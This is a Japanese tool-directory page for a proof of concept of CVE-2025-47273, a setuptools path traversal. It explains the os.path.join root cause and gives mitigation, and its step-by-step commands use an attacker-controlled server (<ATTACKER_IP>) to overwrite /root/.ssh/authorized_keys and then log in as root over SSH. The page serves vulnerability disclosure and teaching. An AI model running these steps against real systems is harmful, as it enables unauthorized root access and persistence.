Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-47273-PoC — CVE-2025-47273 は、setuptools ライブラリ、具体的にはバージョン 78.1.0 における、深刻度の高いパストラバーサル (path traversal) の脆弱性です。 | Kitploit
ツール/GitHubGitHub/ahmedreda38/cve-2025-47273-poc
特権昇格脆弱性分析コード分析エクスプロイトサプライチェーンセキュリティ学習と教育
GitHubahmedreda38/cve-2025-47273-poc

CVE-2025-47273-PoC

CVE-2025-47273 は、setuptools ライブラリ、具体的にはバージョン 78.1.0 における、深刻度の高いパストラバーサル (path traversal) の脆弱性です。

リポジトリを見る
135ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-47273: setuptools バージョン 78.1.0 - setuptools.package_index におけるパストラバーサル

免責事項

この Proof of Concept (PoC) は、教育目的および許可されたセキュリティ監査のみを対象としています。著者は、この情報の誤用について一切の責任を負いません。コンピュータシステムへの不正アクセスは違法であり、非倫理的です。


脆弱性の分析

CVE-2025-47273 は、setuptools ライブラリ(v78.1.0 以前)の package_index モジュールで見つかったパストラバーサル脆弱性です。この脆弱性により、攻撃者は特別に細工した URL を PackageIndex.download() メソッドに渡すことで、任意のファイル書き込みを実行できます。

根本原因: os.path.join() の動作

この欠陥は、Python の os.path.join() 関数に共通する落とし穴に起因します。Python のドキュメントによると:

コンポーネントが絶対パスの場合、以前のコンポーネントはすべて破棄され、絶対パスのコンポーネントから結合が続行されます。

脆弱なバージョンの setuptools では、宛先ファイル名は URL から名前を抽出し、それを一時ディレクトリと結合することによって決定されます:

root@kitploit:~
# setuptools/package_index.py
filename = os.path.join(tmpdir, name)

攻撃者が URL デコード後にファイル名部分がフォワードスラッシュ / で始まる URL を提供した場合、os.path.join は tmpdir プレフィックスを破棄し、URL で提供された絶対パスを返します。

脆弱性のフロー図

root@kitploit:~
[ Attacker-Controlled URL ]
http://attacker.local/%2fetc%2fpasswd
          |
          | 1. URL Decoding
          v
[ Decoded Filename (name) ]
"/etc/passwd"
          |
          | 2. Vulnerable Function Call
          v
os.path.join("/tmp/download_dir", "/etc/passwd")
          |
          | 3. Python os.path.join Logic
          v
[ Resulting Path (filename) ]
"/etc/passwd"  <-- /tmp/download_dir is discarded!

技術的影響

宛先パスを絶対パスに操作できるため、攻撃者はプロセスが書き込み権限を持つファイルシステム上の任意の場所に任意のコンテンツを書き込むことができます。

影響の大きいシナリオ:

  1. 権限昇格: setuptools を使用するプロセスが昇格された権限(例:システム全体のインストーラ)で実行されている場合、攻撃者は /etc/passwd、/root/.ssh/authorized_keys、/etc/shadow などの重要なシステムファイルや、その他多くのファイルを上書きできます...
  2. 持続性 / RCE: ~/.bashrc、~/.ssh/authorized_keys などのユーザーレベルの設定ファイルを上書きしたり、既存の Python ライブラリにコードを注入したりすることで、永続的なリモートコード実行(RCE)につながる可能性があります。

再現手順 (/root/.ssh/authorized_keys の上書き)

環境セットアップ

この脆弱性は setuptools バージョン 78.1.0 に存在します。

root@kitploit:~
pip install setuptools==78.1.0

1. PoC ディレクトリで SSH キーペアを生成します

root@kitploit:~
ssh-keygen -t rsa -b 4096 -f id_rsa -N ""

1. 悪意のあるサーバーを起動します(攻撃者マシン)

server.py スクリプトは悪意のあるパッケージインデックスとして動作します。要求されたパスに関係なくペイロードファイルを配信し、配信するファイルは id_rsa.pub です。

root@kitploit:~
python3 server.py 80

2. エクスプロイトを実行します(ターゲットマシン)

以下のコマンドを使用してファイル書き込みをトリガーすると、事前に作成した SSH キーペアで root に SSH 接続できます。

root@kitploit:~
sudo python3 -c 'from setuptools.package_index import PackageIndex;PackageIndex().download("http://<ATTACKER_IP>:80/%2froot%2f.ssh%2fauthorized_keys", "/tmp")'

3. 最後に、手順 1 で作成した秘密キーを使用して、ターゲットマシンに root として SSH 接続します

root@kitploit:~
ssh -i id_rsa root@<target-ip>

緩和策

この脆弱性は setuptools バージョン 78.1.1 で対処されました。この修正では、os.path.join() に渡される前に、URL から取得した name 変数に先頭のスラッシュやドライブ文字が含まれないように厳密にサニタイズします。

環境を保護するには:

root@kitploit:~
pip install --upgrade setuptools

参考情報

  • setuptools Issue #4946
  • NVD - CVE-2025-47273
  • Huntr Bounty Report
ツールをダウンロード